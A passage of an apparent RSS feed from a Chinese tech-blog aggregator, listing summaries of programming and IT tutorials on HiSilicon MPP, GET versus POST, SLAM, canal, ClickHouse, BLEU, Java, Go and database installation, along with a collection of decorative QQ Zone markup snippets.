      <description>1.简单介绍 mpp根据功能划分为很多模块，有：视频输入（VI）、视频处理（VPSS）、视频编码（VENC）、视频解码（VDEC）、视频输出(VO)、视频拼接(AVS)、音频输入(AI)、音频输出(AO)、音频编码（AENC）音频解码（ADEC）、区域管理（REGION）等模块。其中我们频繁会用到的模块有VI，VPSS，VENC，VDEC这几个模块。&#xA;关于每个模块的具体功能和使用，可以通过后面的例子边学习边了解，刚开始先简单了解即可。&#xA;2.系统绑定 MPP 提供系统绑定接口（HI_MPI_SYS_Bind），即通过数据接收者绑定数据源来建立两者之间的关联关系（只允许数据接收者绑定数据源）。绑定后，数据源生成的数据将自动发送给接收者。&#xA;3.VI和VPSS工作模式 VI 和 VPSS 各自的工作模式分为在线，离线，并行模式&#xA;模式说明：&#xA;模式VI_CAP 与 VI_PROCVI_PROC 与 VPSS在线模式VI_CAP 与 VI_PROC 之间在线数据流传输，此模式下 VI_CAP不会写出 RAW 数据到 DDR，而是直接把数据流送给VI_PROC。VI_PROC 与 VPSS 之间的在线数据流传输，在此模式下VI_PROC不会写出 YUV 数据到 DDR，而是直接把数据流送给 VPSS。离线模式VI_CAP 写出 RAW 数据到DDR，然后 VI_PROC 从 DDR读取 RAW 数据进行后处理。VI_PROC 写出 YUV 数据到DDR，然后 VPSS 从 DDR 读取YUV 数据进行后处理。并行模式当对接大数据量的时序，例如8K@30fps 时，需要 VI_CAP 与两个 VI_PROC 处于并行模式，VI_CAP 直接把一帧数据送给两个 VI_PROC 并行处理。当对接大数据量的时序，例如8K@30fps 时，需要 VI_CAP 与两个 VI_PROC 处于并行模式，同时两个 VPSS 也分别与VI_PROC 处于并行模式，VI_CAP 直接把一帧数据送给两个 VI_PROC 并行处理，再给VPSS 并行处理。 TODO 补充细节</description>
    </item>
    <item>
      <title>海思mpp学习（3）：视频缓存池-vb</title>
      <link>https://bchobby.github.io/posts/d96a8d2766bd272f0dd074ad5a20fd31/</link>
      <pubDate>Wed, 23 Sep 2020 14:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d96a8d2766bd272f0dd074ad5a20fd31/</guid>
      <description>1.说明 视频缓存池主要向媒体业务提供大块物理内存管理功能，必须在系统初始化之前配置公共视频缓存池。&#xA;2.示例代码 VB_CONFIG_S config; memset(&amp;amp;config, 0, sizeof(VB_CONFIG_S)); config.u32MaxPoolCnt = 1; HI_U64 blk_size = COMMON_GetPicBufferSize(1920,1080, PIXEL_FORMAT_YVU_SEMIPLANAR_420, DATA_BITWIDTH_8,COMPRESS_MODE_NONE, DEFAULT_ALIGN); config.astCommPool[0].u64BlkSize = blk_size; printf(&#34;blk size: %llu\n&#34;, config.astCommPool[0].u64BlkSize); config.astCommPool[0].u32BlkCnt = 3; // 设置公共视频缓存池属性 HI_S32 ret = HI_MPI_VB_SetConfig(&amp;amp;config); if(ret != HI_SUCCESS) { printf(&#34;HI_MPI_VB_SetConfig falied: %#x\n&#34;, ret); return; } // 初始化缓存池 ret = HI_MPI_VB_Init(); if(ret != HI_SUCCESS) { printf(&#34;HI_MPI_VB_Init falied: %#x\n&#34;, ret); return; } // mpp系统初始化 ret = HI_MPI_SYS_Init(); if(ret != HI_SUCCESS) { printf(&#34;HI_MPI_SYS_Init falied: %#x\n&#34;</description>
    </item>
    <item>
      <title>Form表单提交 get与post区别</title>
      <link>https://bchobby.github.io/posts/2d86edfe5b7f1698d5e117360b81f512/</link>
      <pubDate>Wed, 23 Sep 2020 09:05:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d86edfe5b7f1698d5e117360b81f512/</guid>
      <description>Form表单提交 get与post区别 1.get是从服务器上获取数据，post是向服务器传送数据。&#xA;2.get是把参数数据队列加到提交表单的ACTION属性所指的URL中，值和表单内各个字段一一对应，在URL中可以看到。post是通过HTTPpost机制，&#xA;将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址。用户看不到这个过程。&#xA;3.对于get方式，服务器端用Request.QueryString获取变量的值，对于post方式，服务器端用Request.Form获取提交的数据。&#xA;4.get传送的数据量较小，不能大于2KB。post传送的数据量较大，一般被默认为不受限制。但理论上，IIS4中最大量为80KB，IIS5中为100KB。&#xA;5.get安全性非常低，post安全性较高。</description>
    </item>
    <item>
      <title>form表单中get提交和post提交的区别</title>
      <link>https://bchobby.github.io/posts/fdcf34ab88bc7fa8d91b6cf9fb587e1f/</link>
      <pubDate>Tue, 22 Sep 2020 22:45:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdcf34ab88bc7fa8d91b6cf9fb587e1f/</guid>
      <description>一、get和post定义&#xA;form元素的method属性用来指定发送form的http方法；&#xA;使用get时，form数据集被附加到form元素的action属性所指定的URL后面；&#xA;使用post时，form数据集被包装在请求的body中并被发送。&#xA;get是从服务器上获取数据，post是向服务器传送数据。&#xA;二、get和Post的区别&#xA;如果用get提交一个验证用户名和密码的form，一般认为是不安全的，因为用户名和密码将出现在URL上，进而出现在浏览器的历史记录中。&#xA;显然，在对安全性有要求的情况下，应该使用post。&#xA;三：最本质的区别&#xA;get是用来从服务器上获得数据，而post是用来向服务器上传递数据。get可以在URL后面看见所提交的数据，但是Post是不会看见的！get安全性非常低，post安全性较高。</description>
    </item>
    <item>
      <title>高翔视觉SLAM十四讲学习笔记——第3讲刚体运动</title>
      <link>https://bchobby.github.io/posts/0b3333f4c75641dc52a70c2917edd91b/</link>
      <pubDate>Tue, 22 Sep 2020 14:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b3333f4c75641dc52a70c2917edd91b/</guid>
      <description>第三章刚体运动 学习任务一、点，向量和坐标系向量的坐标内外积 二、坐标系间的欧氏变换三、齐次坐标和变换矩阵♥重点♥四、旋转向量和欧拉角4.1 旋转向量4.2 欧拉角4.3 四元数 五、四元数到旋转矩阵的转换 学习任务 理解三维空间的刚体运动描述方式：旋转矩阵、变换矩阵、四元数和欧拉角。掌握Eigen 库的矩阵、几何模块使用方法。 一、点，向量和坐标系 刚体：不光有位置，还有自身的姿态。相机也可以看成三维空间的刚体，位置是指相机在空间中的哪个地方，而姿态则是指相机的朝向。 向量的坐标 ：确定一个坐标系，也就是一个线性空间的基，就可以谈论向量a 在这组基下的坐标&#xA;右手法则：给定x 和y 轴时，z 就可以通过右手（或左手）法则由x × y 定义出来（大部分程序默认右手法则）&#xA;内外积 内积：描述向量间投影关系&#xA;外积：描述三维及以上向量之间的旋转关系&#xA;外积的方向垂直于这两个向量，大小为|a||b|sin ⟨a,b⟩，是两个向量张成的四边形的有向面积。&#xA;如上图公式所示，可以把外积转换为a是一个反对称矩阵与向量b的乘积，用a^b来表示。&#xA;二、坐标系间的欧氏变换 描述两个坐标系之间的旋转关系，再加上平移，统称为坐标系之间的变换关系。在机器人的运动过程中，常见的做法是设定一个惯性坐标系，（或者叫世界坐标系），可以认为它是固定不动的。&#xA;欧氏变换：相机运动是一个刚体运动，它保证了同一个向量在各个坐标系下的长度和夹角都不会发生变化。&#xA;一个欧氏变换由一个旋转和一个平移两部分组成。&#xA;首先来考虑旋转。&#xA;们设某个单位正交基&#xA;(e1，e2，e3) 经过一次旋转，变成了(e1‘，e2’，e3‘)，对于同一个向量a，它在两个坐标系下的坐标为[a1，a2，a3]T 和为[a1’，a2‘，a3’]T。根据坐标的定义：&#xA;转换一下：&#xA;矩阵R为两组基的内积，成为旋转矩阵，描述了旋转本身。也是一个行列式为1的正交矩阵（即逆为自身转置的矩阵）。&#xA;再考虑平移&#xA;1)欧氏空间的坐标变换关系描述：&#xA;a’=Ra+t(R旋转矩阵，t为平移向量)&#xA;三、齐次坐标和变换矩阵♥重点♥ a’=Ra+t重写为：&#xA;[ a ′ 1 ] \begin{bmatrix} a&#39;\\ 1\end{bmatrix} [a′1​]= [ R t 0 1 ] \begin{bmatrix} R&amp;amp;t\\ 0&amp;amp;1\end{bmatrix} [R0​t1​] [ a 1 ] \begin{bmatrix} a\\ 1\end{bmatrix} [a1​]=T [ a 1 ] \begin{bmatrix} a\\ 1\end{bmatrix} [a1​]</description>
    </item>
    <item>
      <title>内存泄漏和内存溢出区别与联系</title>
      <link>https://bchobby.github.io/posts/cc87811685dbff13dc3009cb3610b5a1/</link>
      <pubDate>Tue, 22 Sep 2020 11:34:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc87811685dbff13dc3009cb3610b5a1/</guid>
      <description>一、什么是内存溢出和内存泄露&#xA;内存泄漏（memory leak）：是指程序在申请内存后，无法释放已申请的内存空间，导致系统无法及时回收内存并且分配给其他进程使用。通常少次数的内存无法及时回收并不会到程序造成什么影响，但是如果在内存本身就比较少获取多次导致内存无法正常回收时，就会导致内存不够用，最终导致内存溢出。&#xA;2、内存溢出 （out of memory）：:指程序申请内存时，没有足够的内存供申请者使用，导致数据无法正常存储到内存中。也就是说给你个int类型的存储数据大小的空间，但是却存储一个long类型的数据，这样就会导致内存溢出。&#xA;二、内存溢出和内存泄露的关系以及区别&#xA;1.关系：内存泄露最终会导致内存溢出，由于系统中的内存是有限的，如果过度占用资源而不及时释放，最后会导致内存不足，从而无法给所需要存储的数据提供足够的内存，从而导致内存溢出。导致内存溢出也可能是由于在给数据分配大小时没有根据实际要求分配，最后导致分配的内存无法满足数据的需求，从而导致内存溢出。&#xA;2.区别：内存泄露是由于GC无法及时或者无法识别可以回收的数据进行及时的回收，导致内存的浪费；内存溢出是由于数据所需要的内存无法得到满足，导致数据无法正常存储到内存中。内存泄露的多次表现就是会导致内存溢出。&#xA;注：本文参考了：https://blog.csdn.net/ruiruihahaha/article/details/70270574</description>
    </item>
    <item>
      <title>ubuntu 如何修改用户密码为简单密码</title>
      <link>https://bchobby.github.io/posts/a81fc835d94030e1e6d02f485c3e8441/</link>
      <pubDate>Tue, 22 Sep 2020 09:55:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a81fc835d94030e1e6d02f485c3e8441/</guid>
      <description> ubuntu 如何修改用户密码为简单密码 sudo passwd 用户名 </description>
    </item>
    <item>
      <title>canal实时同步中间件介绍及其配置</title>
      <link>https://bchobby.github.io/posts/b6fc3eccb9263a3cb85eb3115f4f2570/</link>
      <pubDate>Tue, 22 Sep 2020 09:26:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6fc3eccb9263a3cb85eb3115f4f2570/</guid>
      <description>canal官网：https://www.gitmemory.com/alibaba/canal&#xA;github:https://github.com/alibaba/canal/wiki/Canal-Kafka-RocketMQ-QuickStart&#xA;一、canal是什么 Canal是阿里巴巴集团提供的一个开源中间件，能够通过解析数据库的增量日志，提供增量数据的订阅和消费功能。canal 作为 MySQL binlog 增量获取和解析工具，可将变更记录投递到 MQ 系统中，比如 Kafka/RocketMQ，可以借助于 MQ 的多语言能力(目前只支持kafka/RocketMQ)，当然也可丢到Elasticsearch中去&#xA;基于日志增量订阅和消费的业务包括&#xA;数据库镜像数据库实时备份索引构建和实时维护(拆分异构索引、倒排索引等)业务 cache 刷新带业务逻辑的增量数据处理 二、canal 工作原理 先理解MYSQL主从复制原理：&#xA;MySQL master 将数据变更写入二进制日志( binary log, 其中记录叫做二进制日志事件binary log events，可以通过 show binlog events 进行查看)MySQL slave 将 master 的 binary log events 拷贝到它的中继日志(relay log)MySQL slave 重放 relay log 中事件，将数据变更反映它自己的数据 canal 工作原理：&#xA;canal 模拟 MySQL slave 的交互协议，伪装自己为 MySQL slave ，向 MySQL master 发送dump 协议MySQL master 收到 dump 请求，开始推送 binary log 给 slave (即 canal )canal 解析 binary log 对象(原始为 byte 流) 三、canal配置安装 我这边是选择推送binlog到kafka，下边介绍安装配置</description>
    </item>
    <item>
      <title>ClickHouse创建mysql数据库引擎报错【Code: 501】</title>
      <link>https://bchobby.github.io/posts/dd5e19b20b35414701b64c1f354019ef/</link>
      <pubDate>Mon, 21 Sep 2020 16:09:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd5e19b20b35414701b64c1f354019ef/</guid>
      <description> 使用clickhouse的数据库引擎mysql创建一个库用来同步mysql中的数据，命令如下：&#xA;CREATE DATABASE mysql_db ENGINE = MySQL(&#39;localhost:3306&#39;,&#39;click_test&#39;,&#39;root&#39;,&#39;123456&#39;); 结果报如下错误：&#xA;CREATE DATABASE mysql_db ENGINE = MySQL(&#39;localhost:3306&#39;, &#39;click_test&#39;, &#39;root&#39;, &#39;123456&#39;) Received exception from server (version 20.6.6): Code: 501. DB::Exception: Received from localhost:9000. DB::Exception: Cannot create MySQL database, because Poco::Exception. Code: 1000, e.code() = 2002, e.displayText() = mysqlxx::ConnectionFailed: Can&#39;t connect to local MySQL server through socket &#39;/tmp/mysql.sock&#39; (2) ((nullptr):0), 解决办法：&#xA;连接clickhouse-server的时候，不要使用localhost，使用127.0.0.1代替：&#xA;CREATE DATABASE mysql_db ENGINE = MySQL(&#39;127.0.0.1:3306&#39;,&#39;click_test&#39;,&#39;root&#39;,&#39;123456&#39;); </description>
    </item>
    <item>
      <title>算法10--打印7行的菱形</title>
      <link>https://bchobby.github.io/posts/5e8bf2af16a300e564b0ad9b6094c556/</link>
      <pubDate>Mon, 21 Sep 2020 12:57:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e8bf2af16a300e564b0ad9b6094c556/</guid>
      <description>package ClassicQuestion; /**打印菱形 * 外层for循环determine菱形的行数*/ public class 打印菱形3 { public static void main(String[] args) { for (int i = 1; i &amp;lt;= 4; i++) { //先就打印7行的菱形.开始i等于1即打印第一行的图案，这些图案包括空格和* //先print空格 for (int j = 1; j &amp;lt;= 4-i; j++) {&#x9;/*这个for循环打印每一行的空格，它会进行几次呢？会进行4次，因为i是从1到4的 每循环一次，会打印一行的空格，所以会打印四行空格*/ System.out.print(&#34; &#34;); } for (int k = 1; k &amp;lt;= 2*i-1; k++) { System.out.print(&#34;*&#34;); } System.out.println(); } for (int i = 1; i &amp;lt;= 3; i++) {&#x9;//打印菱形的下半部分 for (int j = 1; j &amp;lt;= i; j++) { System.</description>
    </item>
    <item>
      <title>手机QQ空间装逼代码收集</title>
      <link>https://bchobby.github.io/posts/a847c76008c30cc6cc4380a32f146df9/</link>
      <pubDate>Sun, 20 Sep 2020 22:44:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a847c76008c30cc6cc4380a32f146df9/</guid>
      <description>使用方法：复制代码，可修改代码中汉字信息，发表说说之后，将会看到代码生成的效果。&#xA;（注：在电脑观看QQ空间可以看到源码）&#xA;效果图：&#xA;手表代码↓&#xA;[em]e10026[/em]{uin:5720,nick:Gold Vish,who:1}&#xA;相机代码↓&#xA;[em]e10022[/em] {uin:5720,nick:拍摄于07月22日,who:1} {uin:5720,nick:阿尔及利亚 天气：阴,who:1}&#xA;飞机代码↓&#xA;[em]e10020[/em]{uin:5720,nick:乘坐于巴西天马航空JJ8280航班（A舱）,who:1}&#xA;认证代码↓&#xA;[em]e10023[/em]{uin:5720,nick:文字已通过英国军情六处，请勿泄露。,who:1}&#xA;手机型号代码↓&#xA;[em]e10005[/em]{uin:1314,nick:samsung S7,who:1}&#xA;打赏代码↓&#xA;[em]e10033[/em]{uin:123,nick: 打赏了你一个冰淇淋,who:1} [em]e10033[/em] 打赏了100000000000.00元红包 [em]e10011[/em]&#xA;[em]e10033[/em]打赏了10元红包（{uin:3,nick:查看详情}）&#xA;赞代码↓&#xA;{uin:0000,nick: 、李兰、张德凯、俞正兴、苍井空、王心瑶、张雅丽、马荣、王兴宁、刘延、刘奇秉、许亮、孙兰、孙子凯、李建邦、李潮、汪洋洋、张贤、范子龙、孟大柱、赵际、胡春兰、栗玉、郭金宝、韩正心 、杜林、赵洪、杨晶晶、王俊、陈昌荣、严琪琪、王心晨、沈跃、吉轩、张大平、向巴平、宋江、万湘、李宇春、马化腾 ,who:1}等13亿人觉得很赞&#xA;小东西，还挺别致（你可以用这些图标，自己编写一些代码哦）↓&#xA;锁：[em]e10001[/em]&#xA;竖屏手机：[em]e10002[/em]&#xA;横屏手机：[em]e10003[/em]&#xA;电脑：[em]e10004[/em]&#xA;手机：[em]e10005[/em]&#xA;相册图标：[em]e10006[/em]&#xA;连接图标：[em]e10007[/em]&#xA;平板：[em]e10008[/em]&#xA;红大锁：[em]e10009[/em]&#xA;蜡烛：[em]e10010[/em]&#xA;红小锁：[em]e10011[/em]&#xA;玫瑰：[em]e10012[/em]&#xA;手表：[em]e10013[/em]&#xA;飞机：[em]e10014[/em]&#xA;奶嘴瓶：[em]e10015[/em]&#xA;QQ音乐图标：[em]e10016[/em]&#xA;赞图标：[em]e10017[/em]&#xA;井号：[em]e10018[/em]&#xA;大奶嘴瓶：[em]e10019[/em]&#xA;小飞机：[em]e10020[/em]&#xA;定位图标：[em]e10021[/em]&#xA;相机图标：[em]e10022[/em]&#xA;相册图标：[em]e10023[/em]&#xA;宽手机：[em]e10024[/em]&#xA;手机：[em]e10025[/em]&#xA;手表：[em]e10026[/em]&#xA;电脑：[em]e10027[/em]&#xA;手机山寨：[em]e10028[/em]&#xA;返回图标：[em]e10029[/em]&#xA;点亮赞图标：[em]e10030[/em]&#xA;连接图标小：[em]e10031[/em]&#xA;地图标记：[em]e10032[/em]&#xA;红包小图标：[em]e10033[/em]&#xA;笔：[em]e10034[/em]&#xA;@图标：[em]e10035[/em]&#xA;联系人图标：[em]e10036[/em]&#xA;赞加圆缺图标：[em]e10037[/em] 返回加圆缺图标：[em]e10038[/em] 红包图标2：[em]e10040[/em]</description>
    </item>
    <item>
      <title>Java 浅拷贝性能比较</title>
      <link>https://bchobby.github.io/posts/ea0f38d7127de1ce204fe7be36395d72/</link>
      <pubDate>Sun, 20 Sep 2020 20:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea0f38d7127de1ce204fe7be36395d72/</guid>
      <description>一、前言 实际开发中，经常会遇到对象拷贝的需求，本文就结合日常开发过程中，使用到的浅拷贝技术，进行性能比较，看看谁更强。&#xA;重要： 下面将会花大量篇幅，列出各种类型浅拷贝的代码，你可以直接拖到文章末尾，看性能对比结果。然后再根据你中意的对象回过头来看它的代码，避免疲劳。&#xA;源码链接：https://github.com/jitwxs/blog-sample/tree/master/SpringBoot/shallow_copy&#xA;首先创建一个用于拷贝的 Bean，如下所示：&#xA;import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.RandomUtils; import java.util.Date; @Data @Builder public class User { private long id; private int age; private String name; private boolean isMale; private School school; private Date createDate; public static User mock() { return User.builder() .id(RandomUtils.nextLong()) .age(RandomUtils.nextInt()) .name(RandomStringUtils.randomAlphanumeric(5)) .isMale(RandomUtils.nextBoolean()) .school(new School(RandomStringUtils.randomAlphanumeric(5), RandomUtils.nextInt())) .createDate(new Date()) .build(); } } @AllArgsConstructor class School { private String name; private int code; } 然后编写一个模板类，给各个浅拷贝方法提供预热和耗时统计功能：</description>
    </item>
    <item>
      <title>NMT评价指标-BLEU</title>
      <link>https://bchobby.github.io/posts/defa28b563f045bcff5f5d69caf9c531/</link>
      <pubDate>Sun, 20 Sep 2020 16:33:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/defa28b563f045bcff5f5d69caf9c531/</guid>
      <description>前言 BLEU (其全称为Bilingual Evaluation Understudy), 其意思是双语评估替补。所谓Understudy (替补)，意思是代替人进行翻译结果的评估。尽管这项指标是为翻译而发明的，但它可以用于评估一组自然语言处理任务生成的文本。&#xA;1. Bilingual Evaluation Understudy: BLEU 在自然语言处理中的机器翻译任务中, BLEU非常常见, 它是用于评估模型生成的句子(candidate)和实际句子(reference)的差异的指标.&#xA;它的取值范围在0.0到1.0之间, 如果两个句子完美匹配(perfect match), 那么BLEU是1.0, 反之, 如果两个句子完美不匹配(perfect mismatch), 那么BLEU为0.0.&#xA;虽然这个指标不够完美, 但是它有5个非常引人注目的好处(compelling benefits):&#xA;计算代价小, 快.容易理解.与语言无关(这意味着你可以使用全世界任意的语言来测试).与人类评价结果高度相关.被学术界和工业界广泛采用. BLEU值是2002年由IBM 科学家 Kishore Papineni在其论文[2]中提出的: “BLEU: a Method for Automatic Evaluation of Machine Translation“.&#xA;BLEU方法的实现是分别计算candidate句和reference句的N-grams模型[3], 然后统计其匹配的个数来计算得到的. 显然, 这种比较方法, 是与语序无关的.&#xA;论文对匹配的 N-grams 计数进行了修改，以确保它考虑到reference文本中单词的出现，而非奖励生成大量合理翻译单词的候选结果。本文将其称为修正的 N-grams 精度。&#xA;此外, 有一种改进版的通过normalize N-grams的改进版BLEU. 其目的是提升对多个句子组成的块(block)提升翻译效果.&#xA;在实践中得到完美的分数是不太可能的，因为翻译结果必须与reference句完全匹配。甚至人工翻译都不可能做到这一点。而且, 由于不同的数据集reference句的质量和数量不同, 所以跨数据集计算BLEU值可能带来一些麻烦.&#xA;对机器翻译来说, 我们可以使用BLEU得分来评价其它的语言生成任务, 比如:&#xA;语言生成图像标题生成文本总结语音识别 2. 计算BLEU得分 Python自然语言工具包库: NLTK, 提供了BLEU得分计算的实现, 所以如果你只是像译者一样使用的话, 可以先不去了解其内部的实现.</description>
    </item>
    <item>
      <title>EDA第一次课＜1117电路图的绘制＞</title>
      <link>https://bchobby.github.io/posts/41be64eac01bbabcc7776bfb603124d9/</link>
      <pubDate>Sun, 20 Sep 2020 15:31:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41be64eac01bbabcc7776bfb603124d9/</guid>
      <description>EDA第一次课&amp;lt;1117电路图的绘制&amp;gt; 电路图1117 我们把需要用到的元器件先列出来：&#xA;PWR2.5*1GND*3RES2*4LED0*2VCC*1双刀双掷开关*1自制元器件（黄框框）*1 绘制1117 1.首先我们打开Altium designer，这个老师给的文件夹里面的DXP.exe文件&#xA;好的，然后我们现在创建一个PCB文件：点击file–new–project–PCBproject&#xA;接着我们在这个文件上右键点击，然后打开图纸（如图）&#xA;然后我们保存一下，快捷键ctrl+s或者Save as都可以&#xA;2.开始绘制&#xA;ps：我们所用的大部分元器件的库在右侧 libraries 栏中&#xA;所以我们点击 libraries,出现的第一个框是我们的器件库,第二个我们可以在相应的器件库里面查找所需要的的器件,点击右上角的place即可移动到图纸上，放足相应数量后，我们可以esc，取消放置或点击右键（如图）&#xA;接着我们点击上面栏中的place wire键，也就是用线连接起来&#xA;连接后如图&#xA;连接后我们发现vin vout这个器件没有，然后我们需要自己制作一个&#xA;右击pcb文件点击如图所示&#xA;这时候我们就相当于自己建了一个器件库，然后我们绘制元器件，以1117vin-vout为例：&#xA;然后运用图中所指的来画出vin-vout（如图）&#xA;保存&#xA;然后点击右边的libraries，点击栏中上面的Libraries，选中我们刚才保存的库如图&#xA;点击这个库，然后关闭，再从右边库栏中选择&#xA;点击加入即可&#xA;完成图如下&#xA;以上仅个人为学习总结，希望有不足之处欢迎指出</description>
    </item>
    <item>
      <title>OJ 25 无重叠区间</title>
      <link>https://bchobby.github.io/posts/f23b8babe61a4e5f60a4307970de99f3/</link>
      <pubDate>Sat, 19 Sep 2020 22:38:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f23b8babe61a4e5f60a4307970de99f3/</guid>
      <description>给定一个区间的集合，找到需要移除区间的最小数量，使剩余区间互不重叠。&#xA;注意:&#xA;可以认为区间的终点总是大于它的起点。&#xA;区间 [1,2] 和 [2,3] 的边界相互“接触”，但没有相互重叠。&#xA;示例 1:&#xA;输入: [ [1,2], [2,3], [3,4], [1,3] ]&#xA;输出: 1&#xA;解释: 移除 [1,3] 后，剩下的区间没有重叠。&#xA;示例 2:&#xA;输入: [ [1,2], [1,2], [1,2] ]&#xA;输出: 2&#xA;解释: 你需要移除两个 [1,2] 来使剩下的区间没有重叠。&#xA;示例 3:&#xA;输入: [ [1,2], [2,3] ]&#xA;输出: 0&#xA;解释: 你不需要移除任何区间，因为它们已经是无重叠的了。&#xA;解题思路&#xA;将本体转换为找到最长的不重叠的区间的长度， 就可以使用类似 最长上升子序列 的解法了&#xA;每个区间的结束位置越靠前， 那么留给后面的空间也就越大， 那么后面的空间也就能放下更多的区间，&#xA;所以按照每个区间的结尾的位置进行排序， 区间结束位置越靠前， 区间本身越靠前&#xA;class Solution { public: int eraseOverlapIntervals(vector&amp;lt;vector&amp;lt;int&amp;gt;&amp;gt;&amp;amp; intervals) { int n=intervals.size(); if(n==0)return 0; sort(intervals.</description>
    </item>
    <item>
      <title>达梦数据库入门</title>
      <link>https://bchobby.github.io/posts/11bd83d27281ca88c479312e87557246/</link>
      <pubDate>Sat, 19 Sep 2020 20:05:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11bd83d27281ca88c479312e87557246/</guid>
      <description>信创产业 信创的意义与新基建的前景这里省略一百万字。&#xA;安装 一、资源&#xA;中标麒麟7+DM8；&#xA;1、安装环境为：DM8-rh7(数据库包可至达梦官网www.dameng.com下载）&#xA;2、操作系统包为中标麒麟高级服务器操作系统软件V7.0，&#xA;3、推荐&#xA;二、GUI系统安装&#xA;1.安装中标麒麟系统：不要最小安装，勾选GUI界面。&#xA;2.进入root账户&#xA;3.启动网络并设置网络自启动&#xA;4.查看IP地址：ip addr&#xA;5.打开命令行终端 或 SSH登录root&#xA;三、GUI安装达梦数据库&#xA;1.创建DM8安装路径&#xA;[root@localhost mnt]# mkdir /dm8&#xA;2.创建DM8安装用户组dinstall和用户dmdba ,然后设置dmdba用户的密码&#xA;[root@localhost mnt]# groupadd dinstall&#xA;[root@localhost mnt]# useradd -g dinstall dmdba&#xA;[root@localhost mnt]# passwd dmdba&#xA;3.设置安装路径访问权限&#xA;[root@localhost mnt]# chown -R dmdba:dinstall /dm8&#xA;4.登录dmdba用户，设置环境变量，并使其生效&#xA;[root@localhost mnt]# su - dmdba&#xA;[dmdba@localhost ~]$ vi ~/.bash_profile&#xA;export PATH export DM_HOME=/dm8 export PATH=$PATH:$HOME/.local/bin:$HOME/bin:$DM_HOME/bin:$DM_HOME/tool [dmdba@localhost ~]$ source .bash_profile&#xA;5.切换到root用户，设置文件最大打开数目&#xA;[dmdba@localhost ~]$ su - root</description>
    </item>
    <item>
      <title>CentOS 6 搭建DHCP 服务器</title>
      <link>https://bchobby.github.io/posts/3de21b3bf2ecb9d06ef402537d103281/</link>
      <pubDate>Sat, 19 Sep 2020 19:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3de21b3bf2ecb9d06ef402537d103281/</guid>
      <description>实验拓扑如下图所示：&#xA;1.制作本地yum源并检测可用，之后安装DHCP服务&#xA;安装成功！&#xA;2.给 Linux 服务器的 e0 口配置IP地址&#xA;3.编辑DHCP配置文件，并给jundong主机绑定IP地址&#xA;4.关闭防火墙，SELinux&#xA;5.客户端发起DHCP请求并获得IP地址&#xA;6.绑定IP地址成功！</description>
    </item>
    <item>
      <title>C语言uint8_t的解释</title>
      <link>https://bchobby.github.io/posts/accfa2cb79d1bccadb3f494a3af1f51d/</link>
      <pubDate>Sat, 19 Sep 2020 18:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/accfa2cb79d1bccadb3f494a3af1f51d/</guid>
      <description>一、C语言基本数据类型回顾&#xA;在C语言中有6种基本数据类型：short、int、long、float、double、char&#xA;1、数值类型&#xA;1）整型：short、int、long&#xA;2）浮点型：float、double&#xA;2、字符类型：char&#xA;二、typedef回顾&#xA;typedef用来定义关键字或标识符的别名，例如：&#xA;typedef double wages;&#xA;typedef wages salary;&#xA;三、uint8_t\uint_16_t\uint32_t\uint64_t&#xA;1、这些类型的来源：这些数据类型中都带有_t, _t 表示这些数据类型是通过typedef定义的，而不是新的数据类型。也就是说，它们其实是我们已知的类型的别名。&#xA;2、使用这些类型的原因：方便代码的维护。比如，在C中没有bool型，于是在一个软件中，一个程序员使用int，一个程序员使用short，会比较混乱。最好用一个typedef来定义一个统一的bool：&#xA;typedef char bool;&#xA;在涉及到跨平台时，不同的平台会有不同的字长，所以利用预编译和typedef可以方便的维护代码。&#xA;3、这些类型的定义：&#xA;在C99标准中定义了这些数据类型，具体定义在：/usr/include/stdint.h ISO C99: 7.18 Integer types&#xA;#ifndef __int8_t_defined&#xA;define __int8_t_defined typedef signed char int8_t;&#xA;typedef short int int16_t;&#xA;typedef int int32_t;&#xA;if __WORDSIZE == 64 typedef long int int64_t;&#xA;else extension&#xA;typedef long long int int64_t;&#xA;endif #endif&#xA;typedef unsigned char uint8_t;&#xA;typedef unsigned short int uint16_t;</description>
    </item>
    <item>
      <title>go 运行代码遇到的问题（同一个包，不同包 之间的引用报错）</title>
      <link>https://bchobby.github.io/posts/64fb2d19a42bb4e4c5eaddea0b98d2fa/</link>
      <pubDate>Fri, 18 Sep 2020 22:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64fb2d19a42bb4e4c5eaddea0b98d2fa/</guid>
      <description>1 相同的package，main中引用另外一个go文件的函数报错 如图所示main中引用process中的函数，go run mian.go 会报错如下所示&#xA;可以这样运行 go run process.go mian.go 可以避免这个报错， 且main可以正常启动起来&#xA;2 在不同的package中，但是在同一项目下，引用的运行也会报错 main.go中调用了model包中结构体 go run mai.go 也是会报错的&#xA;我的编译器是GoLang， 可以再项目的目录下执行go mod init xxx ，&#xA;然后运行的配置改成directory 在运行可以成功&#xA;后续有问题持续记录。。。。。。</description>
    </item>
    <item>
      <title>Android 普通应用升级，具备不可删除与系统权限</title>
      <link>https://bchobby.github.io/posts/dd994dec536e6a1b3b18e895a6663076/</link>
      <pubDate>Fri, 18 Sep 2020 20:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd994dec536e6a1b3b18e895a6663076/</guid>
